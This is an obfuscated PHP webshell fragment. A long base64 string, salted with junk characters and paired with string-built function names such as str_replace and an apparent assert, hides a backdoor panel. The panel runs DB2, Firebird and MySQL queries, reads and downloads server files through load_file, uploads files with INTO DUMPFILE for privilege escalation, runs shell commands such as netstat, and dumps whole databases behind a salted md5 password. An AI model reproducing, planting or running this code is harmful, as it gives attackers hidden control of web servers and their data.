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";
$eau = str_replace("o","","osotr_oroeopoloaocoe");
$qw="CmVycm9yX3JlcG9ydGluZyhFX0VSUk9SKTsKvfeaGVhZGVyKCJvfejb250ZW50LVR5cGU6IHRleHQvvfeaHRtbDvfesgYvfe2vfehvfehcnNvfelvfedD1nYvfejIzMTIivfeKTsKvfec2V0X3RpbWVfbvfeGltaXQoMCk7CmZ1vfebmN0aW9uIFJvb3RfR1AoJiRhcvfenJheSkKewoJd2hvfepbGUobGlvfezdCgka2V5LCR2YXIvfepID0gZWFvfejaCvfegkYXJyvfeYXkpKQoJewoJCWlmKvfeChzdvfeHvfeJ0b3VwcGVyKCRvferZvfeXkpICE9ICRrZXvfekgfHvfewgJvfeycuaW50dmFsKCvfeRrZXkpID09ICIka2V5vfeIvfeikgJiYgJGtlevfeSAhPSAnYXJnYycgJivfeYgvfeJGtleSAhPSAnYXJndicpCgvfekJewoJvfeCQlpZihpcvfe19zdHJpbvfemcoJHvfeZhcikpICRhcnvfeJheVska2V5XSA9IHvfeN0cmlwc2vfexhvfec2hlcygkvfedmvfeFyKTsKCvfeQkJavfeWvfeYoaXNfYXJyYXkoJHZhcikpICRvfehvfecnJvfeheVska2V5XSA9IFvfeJvb3RfRvfe1AoJHvfeZhcivfek7ICAKCQl9Cgl9CglyZXR1cm4gJGFycmF5Owp9CiRzYWvfex0ID0gInNpvfebGlvfejMTIzvfeNCI7CivfeRwcvfe3cgPSB0cmltvfeKCRfUE9vfeTVFsnc2lsavfeWNwYXNzJ10pOwokcGFzc3dvfevcmQ9IjQzYjY1Y2VlMDY0NvfeTNvfemMDYwYjExN2Q3vfeNjk4MjVjNvfeTBvfelIjsKJHBhc3N0ID0gJHNhbHQuJHBzdzsvfeKJHBhc3N0ID0gbWQvfe1KvfeG1vfekNSvfehtZvfeDUoJHBhc3N0KSkpOwokYXNzZT0nYXNlcnQvfenOwpmdW5jdGlvbiBSb2vfe90X0NTUygpCvfenvfesKcHJpbnQ8PDxFTkQKvfePHN0eWxlIvfeHR5cGU9InRvfeleHQvY3NzIj4KKvfentwYvfeWvfeRvfekaW5nOjvfeA7IGvfe1hcmdpbjowOvfe30KvfeYm9vfekeXvfetiYWNr